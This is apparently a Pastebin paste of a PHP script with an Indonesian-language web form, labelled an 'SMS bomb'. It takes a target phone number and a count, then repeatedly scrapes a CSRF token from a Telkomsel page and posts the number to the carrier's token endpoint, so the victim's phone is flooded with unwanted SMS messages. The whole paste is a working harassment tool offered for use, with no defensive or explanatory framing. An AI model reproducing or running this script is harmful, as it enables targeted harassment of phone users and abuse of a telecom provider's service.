Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- if ( $_REQUEST["nomor"] && !empty($_REQUEST["nomor"]) ) {
- $no = 1;
- while ( $no <= $_REQUEST["jumlah"] ) {
- $get_content = access("https://mobi.telkomsel.com/ulang");
- $csrf = parse($get_content, "name=\"ci_csrf_token\" value=\"", "\"");
- $data_post = http_build_query([
- "ci_csrf_token" => $csrf,
- "msisdn" => $_REQUEST["nomor"],
- ]);
- $data_send = access("https://mobi.telkomsel.com/ulang/token", [
- "post" => $data_post,
- "json" => "array",
- ]);
- switch($data_send["status"]) {
- case 1 : $status = "SUKSES"; break;
- case 2 : $status = "NOMOR SALAH"; break;
- case 3 : $status = "LIMIT"; break;
- }
- echo "{$no}. BOM SMS => {$status} GAN<hr>";
- $no++;
- }
- exit(0);
- }
- function access($url, $data = null) {
- if ( isset($data["user_agent"]) == false )
- $data["user_agent"] = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7";
- $ci = curl_init();
- $ci_array = array(
- CURLOPT_URL => $url,
- CURLOPT_RETURNTRANSFER => true,
- CURLOPT_USERAGENT => $data["user_agent"],
- );
- if ( isset($data["cookie"]) ) {
- $ci_array[CURLOPT_SSL_VERIFYPEER] = false;
- $ci_array[CURLOPT_SSL_VERIFYHOST] = false;
- $ci_array[CURLOPT_COOKIEFILE] = $data["cookie"];
- $ci_array[CURLOPT_COOKIEJAR] = $data["cookie"];
- }
- if ( isset($data["post"]) ) {
- $ci_array[CURLOPT_POST] = true;
- $ci_array[CURLOPT_POSTFIELDS] = $data["post"];
- }
- if ( isset($data["follow"]) ) {
- $ci_array[CURLOPT_FOLLOWLOCATION] = true;
- }
- if ( isset($data["referer"]) ) {
- $ci_array[CURLOPT_REFERER] = $referer;
- }
- curl_setopt_array($ci, $ci_array);
- $curl = curl_exec($ci);
- curl_close($ci);
- if ( isset($data["json"]) && $data["json"] == "array" ) {
- return json_decode($curl, true);
- }
- if ( isset($data["json"]) ) {
- return json_decode($curl);
- }
- return $curl;
- }
- function parse($source, $first, $second) {
- $data = explode($first, $source);
- if ( !$data && empty($data[1]) )
- return false;
- $data = explode($second, $data[1]);
- if ( empty($data[0]) )
- return false;
- return $data[0];
- }
- ?>
- <div align="center" style="max-width: 560px;margin: auto;">
- <form method="POST">
- <br>
- <br>Masukkan Nomor Target-nya gan
- <br><input type="number" name="nomor" value="628" style="padding: 10px 0;text-align: center;border: 1px solid #ccc;width: 100%;">
- <br>
- <br>Masukkan Jumlah BOM-nya gan
- <br><input type="number" name="jumlah" value="5" style="padding: 10px 0;text-align: center;border: 1px solid #ccc;width: 100%;">
- <br>
- <br><input type="submit" value="BOM GAN!" style="padding: 10px 0;text-align: center;border: 1px solid #ccc;width: 100%;">
- <br>
- </form>
- </div>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement